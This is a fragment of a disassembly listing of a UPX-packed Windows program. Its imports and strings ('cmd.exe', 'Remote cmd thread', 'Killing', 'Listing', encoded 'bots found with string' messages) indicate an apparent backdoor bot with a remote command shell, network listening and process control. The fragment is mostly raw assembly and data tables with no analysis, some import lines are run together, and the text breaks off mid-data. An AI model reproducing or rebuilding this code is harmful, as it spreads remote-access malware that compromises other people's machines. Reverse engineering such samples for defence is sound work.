loc_416D4D:				; CODE XREF: sub_416D10+27j
		or	eax, eax
		jnz	short loc_416D69
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_416DAA
; ---------------------------------------------------------------------------


loc_416D69:				; CODE XREF: sub_416D10+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_416D77:				; CODE XREF: sub_416D10+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_416D77
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_416DA5
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_416DA5
		jb	short loc_416DA6
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_416DA6


loc_416DA5:				; CODE XREF: sub_416D10+85j
					; sub_416D10+8Bj
		dec	esi


loc_416DA6:				; CODE XREF: sub_416D10+8Dj
					; sub_416D10+93j
		xor	edx, edx
		mov	eax, esi


loc_416DAA:				; CODE XREF: sub_416D10+57j
		dec	edi
		jnz	short loc_416DB4
		neg	edx
		neg	eax
		sbb	edx, 0


loc_416DB4:				; CODE XREF: sub_416D10+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_416D10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DBA	proc near		; DATA XREF: sub_4093B6+Ao
					; sub_4094E6+Ao ...
		jmp	ds:dword_41715C
sub_416DBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DC0	proc near		; CODE XREF: sub_409479+41p
					; sub_4095A4+162p
		jmp	ds:dword_417158
sub_416DC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DC6	proc near		; CODE XREF: sub_4095A4+11Bp
		jmp	ds:dword_417154
sub_416DC6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DCC	proc near		; CODE XREF: sub_409CB1+105p
					; sub_409CB1+114p ...
		jmp	ds:dword_417150
sub_416DCC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DD2	proc near		; CODE XREF: sub_409CB1+42p
					; sub_409CB1+88p
		jmp	ds:dword_41714C
sub_416DD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DD8	proc near		; CODE XREF: sub_409CB1+1Ap
					; sub_409DD0+13Bp
		jmp	ds:dword_417148
sub_416DD8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DDE	proc near		; CODE XREF: sub_40A2D2+13Ep
					; sub_40A9CF+1F6p ...
		jmp	ds:dword_417144
sub_416DDE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DE4	proc near		; CODE XREF: sub_40A8AD+90p
		jmp	ds:dword_417140
sub_416DE4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DEA	proc near		; CODE XREF: sub_40A9CF+185Cp
		jmp	ds:dword_41713C
sub_416DEA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DF0	proc near		; CODE XREF: sub_40D420+47p
					; sub_40D4AB+50p ...
		jmp	ds:dword_417138
sub_416DF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DF6	proc near		; CODE XREF: sub_40EF59+6Bp
					; sub_40EF59+C1p
		jmp	ds:dword_417134
sub_416DF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DFC	proc near		; CODE XREF: sub_40F040+52p
					; sub_40F040+A8p
		jmp	ds:dword_417130
sub_416DFC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416E02	proc near		; CODE XREF: sub_40F040+1Ep
		jmp	ds:dword_417128
sub_416E02	endp

; ---------------------------------------------------------------------------


loc_416E08:				; CODE XREF: UPX0:00416FE2j
		jmp	ds:dword_417124
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416E10	proc near		; CODE XREF: sub_414EF4+5p
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_416E10	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416E30	proc near		; CODE XREF: sub_4048EF+4Ep
					; sub_4048EF+2CFp ...
		jmp	ds:dword_4171F8
sub_416E30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416E40	proc near		; CODE XREF: sub_414EF4+EAp
					; sub_414EF4+1E2p ...

arg_0		= dword	ptr  4

		push	0
		push	[esp+4+arg_0]
		call	sub_416EAF
		retn	4
sub_416E40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416E4E	proc near		; CODE XREF: sub_414EF4+134p
					; sub_414EF4+2D8p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		and	[ebp+var_4], 0
		test	eax, eax
		jz	short loc_416EA0
		mov	ecx, [eax]
		lea	edx, [ebp+arg_4]
		push	edx
		push	offset dword_41DEA0
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		jl	short loc_416EA0
		mov	eax, [ebp+arg_4]
		push	esi
		push	[ebp+arg_8]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+0Ch]
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+8]
		test	esi, esi
		pop	esi
		jnz	short loc_416EA0
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		call	ds:dword_4171C8
		test	eax, eax
		jz	short loc_416EA0
		and	[ebp+var_4], 0


loc_416EA0:				; CODE XREF: sub_416E4E+Dj
					; sub_416E4E+1Fj ...
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_416EAF
		leave
		retn	0Ch
sub_416E4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416EAF	proc near		; CODE XREF: sub_416E40+6p
					; sub_416E4E+58p

var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	0
		lea	ecx, [ebp+var_10]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416ED3
		lea	eax, [ebp+var_10]
		push	offset dword_4173B8
		push	eax
		call	sub_416FA2	; _CxxThrowException
sub_416EAF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_416ED3	proc near		; CODE XREF: sub_416EAF+11p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		and	dword ptr [esi+0Ch], 0
		mov	[esi+4], eax
		mov	eax, [esp+4+arg_4]
		mov	dword ptr [esi], offset	off_4172B4
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_416EFF
		cmp	[esp+4+arg_8], 0
		jz	short loc_416EFF
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]


loc_416EFF:				; CODE XREF: sub_416ED3+1Dj
					; sub_416ED3+24j
		mov	eax, esi
		pop	esi
		retn	0Ch
sub_416ED3	endp


; =============== S U B	R O U T	I N E =======================================



sub_416F05	proc near		; DATA XREF: UPX1:off_4172B4o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_416F4E
		test	[esp+4+arg_0], 1
		jz	short loc_416F1B
		push	esi
		call	sub_416DCC
		pop	ecx


loc_416F1B:				; CODE XREF: sub_416F05+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_416F05	endp

; ---------------------------------------------------------------------------
		mov	eax, [esp+4]
		push	esi
		mov	esi, ecx
		mov	ecx, [eax+4]
		mov	[esi+4], ecx
		mov	eax, [eax+8]
		and	dword ptr [esi+0Ch], 0
		mov	[esi+8], eax
		test	eax, eax
		mov	dword ptr [esi], offset	off_4172B4
		jz	short loc_416F48
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]


loc_416F48:				; CODE XREF: UPX0:00416F40j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_416F4E	proc near		; CODE XREF: sub_416F05+3p
					; DATA XREF: UPX1:004173BCo
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	dword ptr [esi], offset	off_4172B4
		test	eax, eax
		jz	short loc_416F64
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_416F64:				; CODE XREF: sub_416F4E+Ej
		mov	esi, [esi+0Ch]
		test	esi, esi
		jz	short loc_416F72
		push	esi
		call	ds:dword_4170B0	; LocalFree


loc_416F72:				; CODE XREF: sub_416F4E+1Bj
		pop	esi
		retn
sub_416F4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416F74	proc near		; CODE XREF: sub_401244+120p
					; sub_406E8E+DAp ...
		jmp	ds:dword_4171C0
sub_416F74	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416F7A	proc near		; CODE XREF: sub_4020C2+113p
					; sub_4038BA+22Fp ...
		jmp	ds:dword_417114
sub_416F7A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416F80	proc near		; CODE XREF: sub_402A32+CCp
					; sub_402A32+2B9p ...
		jmp	ds:dword_417118
sub_416F80	endp


; =============== S U B	R O U T	I N E =======================================



sub_416F86	proc near		; DATA XREF: UPX1:off_4172BCo

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_416FA8
		test	[esp+4+arg_0], 1
		jz	short loc_416F9C
		push	esi
		call	sub_416DCC
		pop	ecx


loc_416F9C:				; CODE XREF: sub_416F86+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_416F86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416FA2	proc near		; CODE XREF: sub_416EAF+1Fp
		jmp	ds:dword_41711C
sub_416FA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416FA8	proc near		; CODE XREF: sub_416F86+3p
		jmp	ds:dword_417120
sub_416FA8	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-0A00h]
		call	sub_415B3F
		retn
; ---------------------------------------------------------------------------


loc_416FBC:				; DATA XREF: UPX1:0041737Co
		lea	ecx, [ebp-10h]
		call	sub_415B3F
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0DF8h]
		call	sub_415B3F
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0E14h]
		call	sub_415B3F
		retn
; ---------------------------------------------------------------------------


loc_416FDD:				; DATA XREF: sub_414EF4o
		mov	eax, offset dword_417350
		jmp	loc_416E08
; ---------------------------------------------------------------------------
		align 20h
UPX0		ends

; Section 2. (virtual address 00017000)
; Virtual size			: 0000B000 (  45056.)
; Section size in file		: 0000B000 (  45056.)
; Offset to raw	data for section: 00017000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
UPX1		segment	para public 'CODE' use32
		assume cs:UPX1
		;org 417000h
		assume es:nothing, ss:nothing, ds:UPX0,	fs:nothing, gs:nothing
dword_417000	dd 77DECF4Ah	; resolved to->ADVAPI32.RegEnumValueA					; UPX1:00421AA1o
dword_417004	dd 77DDEDE5h	; resolved to->ADVAPI32.RegDeleteValueA					; sub_406C51+96r
dword_417008	dd 77DD761Bh	; resolved to->ADVAPI32.RegOpenKeyExA					; sub_406722+184r ...
dword_41700C	dd 77DD7883h	; resolved to->ADVAPI32.RegQueryValueExA					; sub_4083AD+2DDr ...
dword_417010	dd 77DDEBE7h	; resolved to->ADVAPI32.RegSetValueExAdword_417014	dd 77DDEAF4h	; resolved to->ADVAPI32.RegCreateKeyExAdword_417018	dd 77DFD4C9h	; resolved to->ADVAPI32.GetUserNameAdword_41701C	dd 77DE8546h	; resolved to->ADVAPI32.CryptReleaseContextdword_417020	dd 77DE5244h	; resolved to->ADVAPI32.CryptGenRandom					; sub_4102AE+37r ...
dword_417024	dd 77DE7F96h	; resolved to->ADVAPI32.CryptAcquireContextAdword_417028	dd 77DD6BF0h	; resolved to->ADVAPI32.RegCloseKey					; sub_406722+2F9r ...
		align 10h
dword_417030	dd 7C812ADEh	; resolved to->KERNEL32.GetVersionExA					; sub_40D043+20Br ...
dword_417034	dd 7C80D262h	; resolved to->KERNEL32.GetLocaleInfoA					; sub_408342+4Br
dword_417038	dd 7C8360DDh	; resolved to->KERNEL32.SetCurrentDirectoryAdword_41703C	dd 7C80BDB6h	; resolved to->KERNEL32.lstrlenA					; sub_414EF4+8EEr
dword_417040	dd 7C821363h	; resolved to->KERNEL32.GetWindowsDirectoryAdword_417044	dd 7C801A24h	; resolved to->KERNEL32.CreateFileA					; sub_406B81+95r ...
dword_417048	dd 7C831C45h	; resolved to->KERNEL32.GetFileTimedword_41704C	dd 7C831CB8h	; resolved to->KERNEL32.SetFileTimedword_417050	dd 7C814EEAh	; resolved to->KERNEL32.GetSystemDirectoryA					; sub_406AE7+15r ...
dword_417054	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryA					; sub_403BD3+32r ...
dword_417058	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddress					; sub_403BD3+4Dr ...
dword_41705C	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcess					; sub_407148+18Br ...
dword_417060	dd 7C8286EEh	; resolved to->KERNEL32.CopyFileA					; sub_406E8E+1FEr
dword_417064	dd 7C910331h	; resolved to->NTDLL.RtlGetLastWin32Error					; sub_409CB1+CFr ...
dword_417068	dd 7C810D87h	; resolved to->KERNEL32.WriteFile					; sub_406D90+D3r
dword_41706C	dd 7C8217EAh	; resolved to->KERNEL32.SearchPathAdword_417070	dd 7C81E0C7h	; resolved to->KERNEL32.CreatePipe					; sub_401981+D7r
dword_417074	dd 7C80DDF5h	; resolved to->KERNEL32.GetCurrentProcess					; sub_401981+111r
dword_417078	dd 7C8216A4h	; resolved to->KERNEL32.GetComputerNameAdword_41707C	dd 7C802367h	; resolved to->KERNEL32.CreateProcessA					; sub_406E8E+2A5r
dword_417080	dd 7C85F90Fh	; resolved to->KERNEL32.PeekNamedPipedword_417084	dd 7C81AE17h	; resolved to->KERNEL32.GetExitCodeProcessdword_417088	dd 7C80180Eh	; resolved to->KERNEL32.ReadFiledword_41708C	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleA					; sub_40332B+1D0r ...
dword_417090	dd 7C80B4CFh	; resolved to->KERNEL32.GetModuleFileNameA					; sub_40332B+1D7r ...
dword_417094	dd 7C8309E1h	; resolved to->KERNEL32.OpenProcess					; sub_406041+193r ...
dword_417098	dd 7C8021CCh	; resolved to->KERNEL32.ReadProcessMemory					; sub_406509+91r
dword_41709C	dd 7C802442h	; resolved to->KERNEL32.Sleep					; sub_401244+4F4r ...
dword_4170A0	dd 7C801E16h	; resolved to->KERNEL32.TerminateProcess					; sub_406643+3Br
dword_4170A4	dd 7C809B47h	; resolved to->KERNEL32.CloseHandle					; sub_401244+4C1r ...
dword_4170A8	dd 7C812782h	; resolved to->KERNEL32.SetFileAttributesA					; sub_406E8E+22Ar ...
dword_4170AC	dd 7C831EABh	; resolved to->KERNEL32.DeleteFileA					; sub_401E38+30r ...
dword_4170B0	dd 7C80992Fh	; resolved to->KERNEL32.LocalFreedword_4170B4	dd 7C810637h	; resolved to->KERNEL32.CreateThreaddword_4170B8	dd 7C80B974h	; resolved to->KERNEL32.UnmapViewOfFiledword_4170BC	dd 7C80B905h	; resolved to->KERNEL32.MapViewOfFiledword_4170C0	dd 7C80945Ch	; resolved to->KERNEL32.CreateFileMappingAdword_4170C4	dd 7C8310F2h	; resolved to->KERNEL32.GlobalMemoryStatusdword_4170C8	dd 7C83039Bh	; resolved to->KERNEL32.GetDiskFreeSpaceExA					; sub_408F2E+134r
dword_4170CC	dd 7C8214E3h	; resolved to->KERNEL32.GetDriveTypeA					; sub_408F2E+7Fr ...
dword_4170D0	dd 7C80929Ch	; resolved to->KERNEL32.GetTickCount					; sub_4092A4:loc_409307r ...
dword_4170D4	dd 7C82FA46h	; resolved to->KERNEL32.QueryPerformanceFrequency					; sub_4092A4+14r ...
dword_4170D8	dd 7C80A427h	; resolved to->KERNEL32.QueryPerformanceCounter					; sub_4092A4+Ar ...
dword_4170DC	dd 7C80BCCFh	; resolved to->KERNEL32.IsBadCodePtrdword_4170E0	dd 7C81CE03h	; resolved to->KERNEL32.TerminateThread					; sub_4098F3+1B6r
dword_4170E4	dd 7C809EF1h	; resolved to->KERNEL32.InitializeCriticalSectiondword_4170E8	dd 7C809920h	; resolved to->KERNEL32.GetCurrentProcessId					; sub_406643+19r
dword_4170EC	dd 7C901005h	; resolved to->NTDLL.RtlEnterCriticalSectiondword_4170F0	dd 7C80DDFEh	; resolved to->KERNEL32.DuplicateHandledword_4170F4	dd 7C80AC0Fh	; resolved to->KERNEL32.SetErrorModedword_4170F8	dd 7C80E93Fh	; resolved to->KERNEL32.CreateMutexAdword_4170FC	dd 7C80BE01h	; resolved to->KERNEL32.lstrcpyA					; sub_414EF4+5BCr ...
dword_417100	dd 7C810111h	; resolved to->KERNEL32.lstrcpynAdword_417104	dd 7C814AF2h	; resolved to->KERNEL32.GetEnvironmentVariableAdword_417108	dd 7C830D74h	; resolved to->KERNEL32.lstrcmpA					; sub_414EF4+5CEr ...
dword_41710C	dd 7C9010EDh	; resolved to->NTDLL.RtlLeaveCriticalSection		dd 0
dword_417114	dd 77C1C1F3h	; resolved to->MSVCRT._itoadword_417118	dd 77C464BFh	; resolved to->MSVCRT._strnicmpdword_41711C	dd 77C226F6h	; resolved to->MSVCRT._CxxThrowExceptiondword_417120	dd 77C21868h	dword_417124	dd 77C227FAh	; resolved to->MSVCRT.__CxxFrameHandlerdword_417128	dd 77C472B0h	; resolved to->MSVCRT.memmovedword_41712C	dd 77C46030h	; resolved to->MSVCRT.strcpydword_417130	dd 77C35E02h	; resolved to->MSVCRT._rotrdword_417134	dd 77C35DDEh	; resolved to->MSVCRT._rotldword_417138	dd 77C3FF8Ah	; resolved to->MSVCRT._vsnprintfdword_41713C	dd 77C46EB0h	; resolved to->MSVCRT.memcmpdword_417140	dd 77C1C9C9h	; resolved to->MSVCRT.tolowerdword_417144	dd 77C47730h	; resolved to->MSVCRT.strcmpdword_417148	dd 77C4186Ah	; resolved to->MSVCRT.printfdword_41714C	dd 77C29CC5h	dword_417150	dd 77C29CDDh	dword_417154	dd 77C3FE49h	; resolved to->MSVCRT.vsprintfdword_417158	dd 77C3A3DBh	; resolved to->MSVCRT._beginthreadexdword_41715C	dd 77C35C94h	; resolved to->MSVCRT._except_handler3dword_417160	dd 77C50290h	; resolved to->MSVCRT.ceildword_417164	dd 77C4FA10h	; resolved to->MSVCRT._ftoldword_417168	dd 77C39E7Eh	; resolved to->MSVCRT.exitdword_41716C	dd 77C2C437h	; resolved to->MSVCRT.reallocdword_417170	dd 77C47A50h	; resolved to->MSVCRT.strncmpdword_417174	dd 77C3FA76h	; resolved to->MSVCRT._snprintfdword_417178	dd 77C47C60h	; resolved to->MSVCRT.strstrdword_41717C	dd 77C41B72h	; resolved to->MSVCRT.sscanfdword_417180	dd 77C1BF18h	; resolved to->MSVCRT.atoidword_417184	dd 77C4139Ch	; resolved to->MSVCRT.fseekdword_417188	dd 77C411FBh	; resolved to->MSVCRT.freaddword_41718C	dd 77C3F010h	; resolved to->MSVCRT.fopendword_417190	dd 77C40AB1h	; resolved to->MSVCRT.fclosedword_417194	dd 77C4173Bh	; resolved to->MSVCRT.fwritedword_417198	dd 77C41574h	; resolved to->MSVCRT.ftelldword_41719C	dd 77C46040h	; resolved to->MSVCRT.strcatdword_4171A0	dd 77C475F0h	; resolved to->MSVCRT.memsetdword_4171A4	dd 77C4A969h	; resolved to->MSVCRT.clockdword_4171A8	dd 77C3F931h	; resolved to->MSVCRT.sprintfdword_4171AC	dd 77C47A90h	; resolved to->MSVCRT.strncpydword_4171B0	dd 77C46F70h	; resolved to->MSVCRT.memcpydword_4171B4	dd 77C2C21Bh	; resolved to->MSVCRT.freedword_4171B8	dd 77C2C407h	; resolved to->MSVCRT.mallocdword_4171BC	dd 77C478A0h	; resolved to->MSVCRT.strlendword_4171C0	dd 77C4624Eh	; resolved to->MSVCRT._stricmp		align 8
dword_4171C8	dd 7712A63Fh			align 10h
dword_4171D0	dd 7CA41110h	; resolved to->SHELL32.ShellExecuteA					; sub_402A32+79Br ...
		align 8
dword_4171D8	dd 7E41BE4Bh	; resolved to->USER32.GetForegroundWindowdword_4171DC	dd 7E44F209h	; resolved to->USER32.IsCharAlphaNumericAdword_4171E0	dd 7E41A8ADh	; resolved to->USER32.wsprintfA					; sub_408F2E+1D1r ...
dword_4171E4	dd 7E43212Bh	; resolved to->USER32.GetWindowTextA					; sub_415B60+84r
dword_4171E8	dd 7E42DE87h	; resolved to->USER32.FindWindowAdword_4171EC	dd 7E42F383h	; resolved to->USER32.SendMessageA					; sub_40D74D+7Er
		dd 0
dword_4171F4	dd 71AB406Ah	; resolved to->WS2_32.connect					; sub_4050EA+106r ...
dword_4171F8	dd 71AB4544h	; resolved to->WS2_32.__WSAFDIsSetdword_4171FC	dd 71AC1028h	; resolved to->WS2_32.accept					; sub_4048EF+39Fr
dword_417200	dd 71AC0BDEh	; resolved to->WS2_32.shutdown					; sub_412A3A+178r ...
dword_417204	dd 71AB3EA1h	; resolved to->WS2_32.setsockopt					; sub_4055E5+7Br ...
dword_417208	dd 71AB3E00h	; resolved to->WS2_32.bind					; sub_411DC5+DFr ...
dword_41720C	dd 71AB428Ah	; resolved to->WS2_32.send					; sub_40A9CF+1A74r
dword_417210	dd 71AC0B50h	; resolved to->WS2_32.getpeername					; sub_4045B2+21r
dword_417214	dd 71AB4519h	; resolved to->WS2_32.ioctlsocket					; sub_40447B+10r
dword_417218	dd 71AB3B91h	; resolved to->WS2_32.socket					; sub_4046BC+CEr ...
dword_41721C	dd 71AB3F41h	; resolved to->WS2_32.inet_ntoa					; sub_40732D+1A8r ...
dword_417220	dd 71ABE479h	; resolved to->WS2_32.gethostbyaddr					; sub_4038BA+171r ...
dword_417224	dd 71AB94DCh	; resolved to->WS2_32.WSAGetLastError					; sub_4038BA+186r ...
dword_417228	dd 71ABE59Dh	; resolved to->WS2_32.getservbyportdword_41722C	dd 71AB2DC0h	; resolved to->WS2_32.select					; sub_404E1C+E0r ...
dword_417230	dd 71AB9639h	; resolved to->WS2_32.closesocket					; sub_40A9CF+1A80r ...
dword_417234	dd 71AB2A5Eh	; resolved to->WS2_32.WSASetLastError					; sub_403588+4Ar ...
dword_417238	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_403588+1FEr ...
dword_41723C	dd 71AB4FD4h	; resolved to->WS2_32.gethostbyname					; sub_4055E5+F3r ...
dword_417240	dd 71AB951Eh	; resolved to->WS2_32.getsockname					; sub_40449C+21r ...
dword_417244	dd 71AB2BF4h	; resolved to->WS2_32.inet_addr					; sub_4055E5+DDr ...
dword_417248	dd 71AB615Ah	; resolved to->WS2_32.recv					; sub_4053DC+27r ...
dword_41724C	dd 71AB2BC0h	; resolved to->WS2_32.ntohl					; sub_4020C2+201r
dword_417250	dd 71AB2C69h	; resolved to->WS2_32.sendto					; sub_411DC5+372r ...
dword_417254	dd 71AB4428h	; resolved to->WS2_32.WSACleanup					; sub_407148+183r ...
dword_417258	dd 71AB2D0Fh	; resolved to->WS2_32.recvfromdword_41725C	dd 71AB4489h	; resolved to->WS2_32.WSAIoctldword_417260	dd 71AB50C8h	; resolved to->WS2_32.gethostnamedword_417264	dd 71AB664Dh	; resolved to->WS2_32.WSAStartupdword_417268	dd 71AB88D3h	; resolved to->WS2_32.listen		align 10h
flt_417270	dd 1.0e3		; DATA XREF: sub_401E38+207r
					; sub_401E38+22Fr ...
flt_417274	dd 1.024e3		; DATA XREF: sub_408B30+2A2r
dword_417278	dd 0FFFFFFFFh, 409449h,	40945Fh, 0dword_417288	dd 0FFFFFFFFh, 409572h,	40958Ah, 0dword_417298	dd 0FFFFFFFFh, 416AE7h,	416AFDh, 0		dd offset loc_416AC5
		dd offset loc_416ADB
		dd offset dword_4172F0
off_4172B4	dd offset sub_416F05	; DATA XREF: sub_416ED3+12o
					; UPX0:00416F3Ao ...
		dd offset dword_417338
off_4172BC	dd offset sub_416F86	; DATA XREF: UPX1:off_41DEB0o
					; UPX1:off_41DED0o
off_4172C0	dd offset off_41DEB0	; DATA XREF: UPX1:004172D8o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_4172C0
dword_4172DC	dd 3 dup(0)			dd 1, 4172D8h
dword_4172F0	dd 3 dup(0)			dd offset off_41DEB0
		dd offset dword_4172DC+4
		align 8
off_417308	dd offset off_41DED0	; DATA XREF: UPX1:00417320o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_417308
		dd 0
		db    0			; DATA XREF: UPX1:00417348o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 417320h
dword_417338	dd 3 dup(0)			dd offset off_41DED0
		dd offset unk_417328
		align 10h
dword_417350	dd 19930520h, 4, 417370h, 5 dup(0)		dd 0FFFFFFFFh, 416FB0h,	0
		dd offset loc_416FBC
		dd 1, 416FC5h, 2, 416FD1h, 0
		dd offset off_41DEB0
		dd 0
		dd 0FFFFFFFFh, 0
		dd 10h,	416F21h, 0
dword_4173B0	dd 1, 417390h	dword_4173B8	dd 0				dd offset sub_416F4E
		dd 0
		dd offset dword_4173B0
		dd 30Eh	dup(0)
off_418000	dd offset dword_418098	; DATA XREF: sub_401000+1Dr
					; sub_401000+2Er
		dd offset dword_41805C
		dd offset aKnJnuXxQEzds	; "ߕ帚ɟ"
		dd offset dword_418014
		dd 0
dword_418014	dd 0BC8A9BAAh, 8B88998Dh, 93C484B7h, 0C9AAA3F9h, 87ABB697h
					; DATA XREF: UPX1:0041800Co
		dd 0BCB187A4h, 98D9B59Eh, 0CA86A5E3h, 89AA8EA5h, 2 dup(0)
aKnJnuXxQEzds	db 'ߕ帚ɟ',0 ; DATA XREF: UPX1:00418008o
		align 4
		dd 0
dword_41805C	dd 9CBFADAAh, 0ADA6B5BFh, 95DFBB9Eh, 0C99AB8E5h, 0BF85B69Fh
					; DATA XREF: UPX1:00418004o
		dd 0A7B0BAA1h, 0B5EA85B5h, 0C39BA5E2h, 8D8FB697h, 0A7BDA7BAh
		dd 83E4AAACh, 0D48C84F9h, 8DBAAB8Fh, 0BBh, 0
dword_418098	dd 9CBFADAAh, 0ADA6B5BFh, 95DFBB9Eh, 0C99AB8E5h, 0BF85B69Fh
					; DATA XREF: UPX1:off_418000o
		dd 0A7B0BAA1h, 0B5EA85B5h, 0C39BA5E2h, 8D8FB697h, 0A7BDA7BAh
		dd 83E4AAACh, 0F9h, 0
dword_4180CC	dd 2343003h, 2037525h, 746F6220h, 20297328h, 6E756F66h
					; DATA XREF: sub_401244+52Do
		dd 69772064h, 73206874h, 6E697274h, 30032067h, 73250234h
		dd 2E0203h
dword_4180F8	dd 62206F4Eh, 2073746Fh, 6E756F66h, 69772064h, 73206874h
					; DATA XREF: sub_401244+50Ao
		dd 6E697274h, 30032067h, 73250234h, 2E0203h
dword_41811C	dd 6E756F66h, 74732064h, 676E6972h, 34300320h, 3732502h
					; DATA XREF: sub_401244+412o
		dd 6E692002h, 20732520h, 34300328h, 3692502h, 2902h
dword_418144	dd 3430032Dh, 3752502h,	4C202D02h, 69747369h, 6220676Eh
					; DATA XREF: sub_401244+45o
		dd 2073746Fh, 68746977h, 72747320h, 20676E69h, 2343003h
		dd 2037325h, 3Ah
dword_418174	dd 62207325h, 2073746Fh, 68746977h, 72747320h, 20676E69h
					; DATA XREF: sub_4017AA+93o
		dd 2343003h, 2037325h, 0
aKilling	db 'Killing',0          ; DATA XREF: sub_4017AA:loc_401830o
aListing	db 'Listing',0          ; DATA XREF: sub_4017AA+7Do
dword_4181A4	dd 303h		aCmd_exeProcess	db 'Cmd.exe process has terminated.',0 ; DATA XREF: sub_401981+2C9o
aCouldNotReadDa	db 'Could not read data from process.',0 ; DATA XREF: sub_401981+27Eo
		align 4
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: sub_401981+48o
aErrorWhileExec	db 'Error while executing command.',0 ; DATA XREF: sub_401D6E+B9o
		align 4
asc_418214	db 0Dh,0Ah,0		; DATA XREF: sub_401D6E:loc_401E0Bo
					; sub_403DF3+18Co ...
		align 4
aRemoteCmdThrea	db 'Remote cmd thread',0 ; DATA XREF: sub_401D6E+7Eo
		align 4
aOpen		db 'open',0             ; DATA XREF: sub_401D6E+26o
					; sub_402A32+794o ...
		align 4
dword_418234	dd 65636552h, 64657669h, 34300320h, 3732502h, 72662002h
					; DATA XREF: sub_401E38+248o
		dd 3206D6Fh, 25023430h,	20020373h, 3206E69h, 25023430h
